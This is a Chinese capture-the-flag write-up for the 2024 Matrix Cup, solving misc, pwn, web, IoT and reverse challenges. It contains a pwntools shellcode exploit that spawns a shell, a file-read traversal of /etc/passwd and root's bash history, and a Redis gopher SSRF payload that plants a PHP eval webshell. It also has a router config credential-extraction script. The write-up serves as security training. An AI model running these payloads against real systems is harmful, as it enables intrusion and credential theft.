2024矩阵杯misc,re,web,pwn解题思路

fivesheeptree 2024-06-17 10:33:02 阅读 73

Misc

两极反转

题目所给的二维码是一个29x29的二维码,与正常的二维码比较发现,题目所给的二维码定位符有问题,再结合题目描述中的

两极反转,黑白不分 奇变偶不变,横变竖不变

可以推出从第9行开始,奇数行所有黑白反转,偶数行不变,直到倒数第九行

先写脚本将01数据拿出来写脚本

from PIL import Image# 读取二维码图像image = Image.open('qr.png')# 将图像调整为 29x29 尺寸image = image.resize((29, 29))# 将图像转换为黑白模式(二值化)bw_image = image.convert('1')# 获取图像的像素数据pixels = list(bw_image.getdata())# 将黑色方块转换为 1,白色方块转换为 0,并一行一行输出for i in range(29): print(''.join(['1' if pixels[i*29+j] == 0 else '0' for j in range(29)]))

得到

1111111011110000101000111111110000010001101000110001000001101110100011101110010010111011011101011101000001010101110110111010000011010011101011101100000100000000111010010000011111111010101010101010111111100000000001001011110000000000110100010011101101010011101100110110101101001101100110101111100000100100100111110111000000111001001110010011111010111101100110001100111011000010001000100101011101000101000100001101000101110000011100110001100110011111001001110011000110000000011001001011110011101000110011111011000001010010110110010011100000000111010100001010000110001001101001001011010010010101111111000000001000000000011011110000110001100011111110010110011001101011111100000101010001100101000100001011101010110011000011111001110111010000111011101100011000101110101101000000011111111011000001000110010100010001101011111110000111110111110111011

从第九行开始翻转

def swap_zeros_and_ones(binary_str): result = '' for bit in binary_str: if bit == '0': result += '1' else: result += '0' return resultdata = [ "11010001001110110101001110110", "01101101011010011011001101011", "11100000100100100111110111000", "00011100100111001001111101011", "11011001100011001110110000100", "01000100101011101000101000100", "00110100010111000001110011000", "11001100111110010011100110001", "10000000011001001011110011101", "00011001111101100000101001011", "01100100111000000001110101000", "01010000110001001101001001011", "01001001010111111100000000100"]# 对每行进行处理for index, line in enumerate(data): if index % 2 == 0: # 奇数行 print(swap_zeros_and_ones(line)) else: # 偶数行 print(line)

翻转后得到

00101110110001001010110001001011011010110100110110011010110001111101101101100000100011100011100100111001001111101011001001100111001100010011110110100010010101110100010100010011001011101000111110001100111110011001111100100111001100010111111110011011010000110001000011001111101100000101001011100110110001111111100010101110101000011000100110100100101110110110101000000011111111011

最终的二维码数据是

1111111011110000101000111111110000010001101000110001000001101110100011101110010010111011011101011101000001010101110110111010000011010011101011101100000100000000111010010000011111111010101010101010111111100000000001001011110000000000001011101100010010101100010010110110101101001101100110101100011111011011011000001000111000111001001110010011111010110010011001110011000100111101101000100101011101000101000100110010111010001111100011001111100110011111001001110011000101111111100110110100001100010000110011111011000001010010111001101100011111111000101011101010000110001001101001001011101101101010000000111111110110000000011011110000110001100011111110010110011001101011111100000101010001100101000100001011101010110011000011111001110111010000111011101100011000101110101101000000011111111011000001000110010100010001101011111110000111110111110111011

转换为二维码可得到:https://bahamas10.github.io/binary-to-qrcode/

 扫码得到flag:https://cli.im/deqr/other

 

Flag:flag{R3Ver5e_P014r17y}

真假补丁

根据上传的%E8%A1%A5%E4%B8%81.exe运行可以得到两个exe文件分别是补丁检测.exe和补丁修复.exe,其中有很多重要的信息可以推出是aes加密

再加上tcp追踪到的第二个流可以得到加密数据

先追踪tcp第一个流,可以发现上传了一个exe

导出对象中找到上传的%E8%A1%A5%E4%B8%81.exe

这是一个自解压的程序,点击运行之后会得到两个exe

查壳会发现修复的exe是一个python3.8的库,检测的exe也是一个python3.8的库

不知道怎么查看这两个exe,运行不了,就直接010editor搜索了,在修复.exe末尾发现aes加密

可以猜测key和iv是文件的md5值和affe01db6b79092b8(这里是17位,iv一般是16位,那么就是多了一个字符,需要删掉a,也就是iv=ffe01db6b79092b8

文件的md5值就是补丁检测.exe key=324dd63a6365ca7729c8f85b6e479834

加密的数据在tcp的第二个流中

cyberchef一把梭就可以得到flag了,还要注意的是data数据需要url解密一下

Flag:flag{84f6a6a2-7e96-4ac4-9a5b-4b05a252559f}

SPY2.0

在pcapng文件中导出图片

Steganography.js解密png图片

binwalk可以找到监察员lulu猪的照片,但是图片不全,也可以正常解出Flag

使用dd命令来提取偏移量为8849367(十六进制为0x8707D7)的位置处的PNG图像

dd if=attach.pcapng skip=8849367 bs=1 of=flag.png

搜索隐写术.js会发现其实就是Steganography.js

找到一个可以解密的在线网站:https://www.peter-eigenschink.at/projects/steganographyjs/showcase/

在线解密得到flag

Flag:flag{LUlu_p199y_0m8uD5m4N_rEp0r75_70_Y0U}

Pwn

fshell

花指令去除,类型转换,shellcode绕过

存在花指令,需要去花后才能正常反编译

登录函数gdb调式直接绕过

根据加密函数内容解下密就可以得到密码了

pd = "xiaaewzl"en = ""for x in range(len(pd)): for i in range(0,256): a = i if i<=96 or i>122: if i>64 and i<=90: a = (i-65+9)%26+65 else: a = (i-97+9)%26+97 if chr(a)==pd[x]: print(chr(i),end='') break

在Decrypted中存在函数直接调用写入的shellcode

但需要先去6功能中进行权限提升

但写入shellcode,需要条件,首先是从int型,除以我们控制的12的倍数后变为long double型,然后long double型变为float型去检查最后一字节要大于'J',所以这里的考点应该数类型的转化,这里直接用chatgpt给转一下

import ctypesfrom pwn import *context.arch = 'i386'# 初始化一个 int 值int2 = ctypes.c_int(0x3c)# 修改内存内容的函数def modify_memory(value, new_bytes): ptr = ctypes.pointer(value) byte_array = (ctypes.c_ubyte * len(new_bytes)).from_buffer_copy(new_bytes) ctypes.memmove(ptr, byte_array, len(new_bytes))# 初始 float 值float_rel = ctypes.c_float(1.0)# 打印修改前的 float 内存表示float_bytes_before = ctypes.string_at(ctypes.byref(float_rel), ctypes.sizeof(float_rel))print(f"修改前的 float 内存表示: {' '.join(f'{b:02X}' for b in float_bytes_before)}")#shellcode = asm('pop eax;push eax;pop ebx;gs') shellcode = asm('') + b'K' #保证最后一位是Kmodify_memory(float_rel, shellcode)# 打印修改后的 float 内存表示float_bytes_after = ctypes.string_at(ctypes.byref(float_rel), ctypes.sizeof(float_rel))print(f"修改后的 float 内存表示: {' '.join(f'{b:02X}' for b in float_bytes_after)}")# 将修改后的 float 转换为 long doublemint = ctypes.c_longdouble(float_rel.value)# 打印 long double 的内存表示long_double_bytes = ctypes.string_at(ctypes.byref(mint), ctypes.sizeof(mint))print(f"long double 的内存表示: {' '.join(f'{b:02X}' for b in long_double_bytes)}")# 将 long double 转换为 int 并打印结果x = mint.value * int2.valueprint(x)

由于输入的是int型,4个字节,所以构造shellcode是只能控制前3个,一点一点改就ok

exp如下:

from pwn import *from struct import *from ctypes import *from LibcSearcher import *from functools import reducefrom z3 import *import gmpy2#import ctf_pb2c = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')# srop : frame = SigreturnFrame()# fmt : fmtstr_payload(offset=7,writes={0x4031E0:0x0401445,0x403410:0x401445},numbwritten=((14*2)+1),write_size='short')s = lambda a :pw.send(a)sl = lambda a :pw.sendline(a)sa = lambda a,b :pw.sendafter(a,b)sla = lambda a,b :pw.sendlineafter(a,b)r = lambda a=6666 :pw.recv(a)rl = lambda :pw.recvline()ru = lambda a,b=True :pw.recvuntil(a,b)g64 = lambda :u64(pw.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))g32 = lambda :u32(pw.recvuntil(b'\xf7').ljust(4,b'\x00'))gl = lambda a :u64(pw.recvuntil(a,drop=True).ljust(8,b'\x00'))gc = lambda a :u64(pw.recv(7).rjust(8,b'\x00'))pwpw = lambda :pw.interactive()lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s))) def sb(libc_base): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))def orw(libc_base): return libc_base + libc.sym['open'], libc_base + libc.sym['read'], libc_base + libc.sym['write']def search(): libc = LibcSearcher("puts", puts) libc_base = puts - libc.dump("puts") system = libc.dump("system") + libc_base binsh = libc.dump("str_bin_sh") + libc_base return system,binshdef dbg(a=''): if a !='': gdb.attach(pw,a) pause() else: gdb.attach(pw) pause() # context(os = 'linux', arch = 'amd64', log_level = 'debug')context.arch='i386'# context.arch = 'i386'file = './main'elf = ELF(file)# libc = ELF('/home/pw/pwn_tools/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')debug = 0if debug == 0: pw = process(file)if debug == 1: pw = remote("pwn-ee4964bb96.challenge.xctf.org.cn", 9999, ssl=True)#----------------------------------------------------------------------dbg('b *0x804a08f')def en(offset,text): sla(b'@@:',str(2)) sla('offset:',str(offset)) sla(b'encrypt:',text)def de(offset,text): sla(b'@@:',str(3)) sla('offset:',str(offset)) sla(b'decrypt:',text)sla(b'@@:',str(1))sla(b'username:',b'user')sla(b'password:',b'ozrrvnqc')sla(b'@@:',str(6))# dbg('b *0x804a203')de(0,b'a'*20)sl(str(858613440)) #asm('push eax;pop ebx;pop edx') + b'K'sl(str(801569700)) # xchg ecx,ebxsl(str(801180540)) # xor eax,eaxsl(str(518069940)) # add eax,3sl(str(545641140)) #add ebx,10sl(str(799384980)) #kkkksl(str(926035980)) #int 80sl(str(0))sl(asm('nop')*0x20+asm(shellcraft.sh()))# sl(str(10000))# dbg()pwpw()

Web

where

┌──(kali㉿kali)-[/tmp]└─$ curl http://web-9b74f20515.challenge.xctf.org.cn/look?file=/etc/passwd抓紧找,着急下班root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologin ┌──(kali㉿kali)-[/tmp]└─$ curl http://web-9b74f20515.challenge.xctf.org.cn/look?file=/app/app.py打卡下班from flask import Flask,Response, requestapp = Flask(__name__)@app.route('/', methods=['GET', 'POST'])def index(): return "flag被我藏起来了,/look一下file看看呢"@app.route('/look', methods=['GET', 'POST'])def readfile(): if request.values.get('file'): file = request.values.get('file') f= open(file,encoding='utf-8') content=f.read() f.close() if 'flag' in content: return "打卡下班"+content else: return "抓紧找,着急下班"+content return "找找看,我着急下班" if __name__ == '__main__': app.run(host='0.0.0.0', port=80) ┌──(kali㉿kali)-[/tmp]└─$ curl http://web-9b74f20515.challenge.xctf.org.cn/look?file=/root/.bash_history打卡下班flag{hmkOEqSXHKHacrnYhSH9UvhUlkdlQrh5}

easyweb

访问/flag.php F12 下载 加密的代码.zip

<?php if (isset($_GET['id']) && floatval($_GET['id']) !== '1' && $_GET['id'] == 1) { echo 'welcome,admin'; $_SESSION['admin'] = True; } else { die('flag?'); } ?> <?php if ($_SESSION['admin']) { if(isset($_POST['code'])) { if(preg_match("/(ls|c|a|t| |f|i|n|d')/", $_POST['code'])==1) echo 'no!'; elseif(preg_match("/[@#%^&*()|\/?><']/",$_POST['code'])==1) echo 'no!'; else system($_POST['code']); } } ?>

tantantan

发现敏感文件 aaabbb.php

发现存在ssrf

ssrf内网探测 当探索redis服务时,明显的延时

尝试打redis

gopher://127.0.0.1:6379/_config%20set%20dir%20%2Fvar%2Fwww%2Fhtml%0D%0aconfig%20set%20dbfilename%20shell.php%0D%0aset%20payload%20%22%3C%3Fphp%20eval(%5C%24_POST%5B1%5D)%3B%3F%3E%22%0D%0asave%0D%0aquit

getflag

IOT

special

binwalk分离出来一坨

直接字符搜索,什么huawei,tplink,totolink一个一个试

直接找到版本号,哪年的都找到了,直接cve

结合题目要求找到密码,找到一个适合的cve,搜索他的poc

找了我好久,下载直接利用即可,网站的poc是直接打开config.dat,由于我们不知道哪个文件是config.dat,就直接求助chatgpt改下脚本写个爆破即可,就是把每个文件都跑一遍

exp如下:

#!/bin/bashif [ "$#" -ne 1 ]; then echo "Routers backed by Realtek hardware with Boa HTTP server and using apmib library for flash management." echo "Identitifed vulnerable vendors: Multiple vendors, e.g. TOTOLINK, CIK Telecom, Sapido Fibergate Inc., MAX-C300N, T-BROAD and possibly others.." echo "" echo "Credits: br0x | https://sploit.tech" echo "" echo "Usage: " echo "$0 directory" exit 1fiDIR=$1OUTPUT_FILE="credentials.txt"if [ ! -f decode ]; then echo -n "Compiling decoder.." cat <<EOF > decode.c/** * Based on apmib.h from: * Copyright (C) 2006-2009 OpenWrt.org * Original author - David Hsu <davidhsu@realtek.com.tw> */#include <sys/mman.h>#include <sys/stat.h>#include <fcntl.h>#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <endian.h>#define N 4096 /* size of ring buffer */#define F 18 /* upper limit for match_length */#define THRESHOLD 2 /* encode string into position and length if match_length is greater than this */static unsigned char *text_buf; /* ring buffer of size N, with extra F-1 bytes to facilitate string comparison */#define LZSS_TYPE unsigned short#define NIL N /* index for root of binary search trees */struct lzss_buffer { unsigned char text_buf[N + F - 1]; LZSS_TYPE lson[N + 1]; LZSS_TYPE rson[N + 257]; LZSS_TYPE dad[N + 1];};static LZSS_TYPE match_position, match_length; /* of longest match. These are set by the InsertNode() procedure. */static LZSS_TYPE *lson, *rson, *dad; /* left & right children & parents -- These constitute binary search trees. */typedef struct compress_mib_header { unsigned char signature[6]; unsigned short compRate; unsigned int compLen;} COMPRESS_MIB_HEADER_T;#define handle_error(msg) \ do { perror(msg); exit(EXIT_FAILURE); } while (0)int Decode(unsigned char *ucInput, unsigned int inLen, unsigned char *ucOutput) /* Just the reverse of Encode(). */{ int i, j, k, r, c; unsigned int flags; unsigned int ulPos=0; unsigned int ulExpLen=0; if ((text_buf = malloc( N + F - 1 )) == 0) { //fprintf(stderr, "fail to get mem %s:%d\n", __FUNCTION__, __LINE__); return 0; } for (i = 0; i < N - F; i++) text_buf[i] = ' '; r = N - F; flags = 0; while(1) { if (((flags >>= 1) & 256) == 0) { c = ucInput[ulPos++]; if (ulPos>inLen) break; flags = c | 0xff00; /* uses higher byte cleverly */ } /* to count eight */ if (flags & 1) { c = ucInput[ulPos++]; if ( ulPos > inLen ) break; ucOutput[ulExpLen++] = c; text_buf[r++] = c; r &= (N - 1); } else { i = ucInput[ulPos++]; if ( ulPos > inLen ) break; j = ucInput[ulPos++]; if ( ulPos > inLen ) break; i |= ((j & 0xf0) << 4); j = (j & 0x0f) + THRESHOLD; for (k = 0; k <= j; k++) { c = text_buf[(i + k) & (N - 1)]; ucOutput[ulExpLen++] = c; text_buf[r++] = c; r &= (N - 1); } } } free(text_buf); return ulExpLen;}void main(int argc, char**argv) { char *addr; int fd; struct stat sb; off_t offset, pa_offset; size_t length; ssize_t s; char* filename = "config.dat"; COMPRESS_MIB_HEADER_T * header; if (argc>2) { printf("Wrong number of parameters!"); exit(1); } if (argc==2) { filename=argv[1]; } fd = open(filename, O_RDONLY); if (fd == -1) handle_error("open"); if (fstat(fd, &sb) == -1) /* To obtain file size */ handle_error("fstat"); addr = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0); header = (COMPRESS_MIB_HEADER_T*)addr; printf("%u\n", be16toh(header->compRate)); printf("%u\n", be32toh(header->compLen)); printf("%u\n", sb.st_size); unsigned char *expFile=NULL; expFile=calloc(1,be16toh(header->compRate)*be32toh(header->compLen)); unsigned int expandLen = Decode(addr+sizeof(COMPRESS_MIB_HEADER_T), be32toh(header->compLen), expFile); printf("%u\n", expandLen); printf("%.*s\n",100, expFile); fwrite(expFile, 1, expandLen, stdout); //flash_read_raw_mib("config.dat");}EOF gcc -o decode decode.c echo "OK"fiecho "" > $OUTPUT_FILEfor config in "$DIR"/*; do if [ -f "$config" ]; then CMD="$(echo "$2" | perl -MURI::Escape -ne "chomp;print uri_escape(\$_),\"\\n\"")" P=$(./decode "$config" | xxd -p | tr -d '\n' | grep -Po 'b7001f.*?00' | sed 's#00$##g' | sed 's#b7001f##g' | xxd -r -p) U=$(./decode "$config" | xxd -p | tr -d '\n' | grep -Po 'b6001f.*?00' | sed 's#00$##g' | sed 's#b6001f##g' | xxd -r -p) if [ -n "$U" ] && [ -n "$P" ]; then echo "File: $config" >> $OUTPUT_FILE echo "User: $U" >> $OUTPUT_FILE echo "Password: $P" >> $OUTPUT_FILE echo "" >> $OUTPUT_FILE fi fidoneecho "Extraction complete. Credentials are stored in $OUTPUT_FILE"

跑完得到密码

Flag:flag{0e327444a0ef9a1819c341f396d97b18}

REVERSE

packpy

首先发现他是upx的壳,后面发现脱壳不成功,看了眼题目,直接去010看了一手

就是一个python,借助pycdc工具反编译

按照他的写法给base58解码然后zlib一下

由于我没有base58这个库,直接网站解码,然后保存文件

import zlibfile = open('1.dat','rb')write = zlib.decompress(file.read())file.close()file = open('2.dat','wb')file.write(write)

010一看就知道肯定是个pyc,但是缺少头,直接加上就ok

直接逆一逆写exp出flag

import randomencdata = b'\x18\xfa\xadd\xed\xab\xad\x9d\xe5\xc0\xad\xfa\xf9\x0be\xf9\xe5\xade6\xf9\xfd\x88\xf9\x9d\xe5\x9c\xe5\x9de\xc3))\x0f\xff'def generate_key(seed_value): key = list(range(256)) random.seed(seed_value) random.shuffle(key) return bytes(key)def encrypt(data, key): encrypted = bytearray() for byte in data: encrypted.append(key[byte] ^ 95) return bytes(encrypted)# try:# flag = input('input your flag:')# key = generate_key(len(flag))# data = flag.encode()# encrypted_data = encrypt(data, key)# if encrypted_data == encdata:# print('good')# finally:# pass# return None# encdata = b'\x18\xfa\xadd\xed\xab\xad\x9d\xe5\xc0\xad\xfa\xf9\x0be\xf9\xe5\xade6\xf9\xfd\x88\xf9\x9d\xe5\x9c\xe5\x9de\xc3))\x0f\xff'key = generate_key(len(encdata))for byte in encdata: d = byte ^ 95 print(chr(key.index(d)),end='')

Flag:flag{mar3hal_Is_3asy_t0_r3v3rse!!@}



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。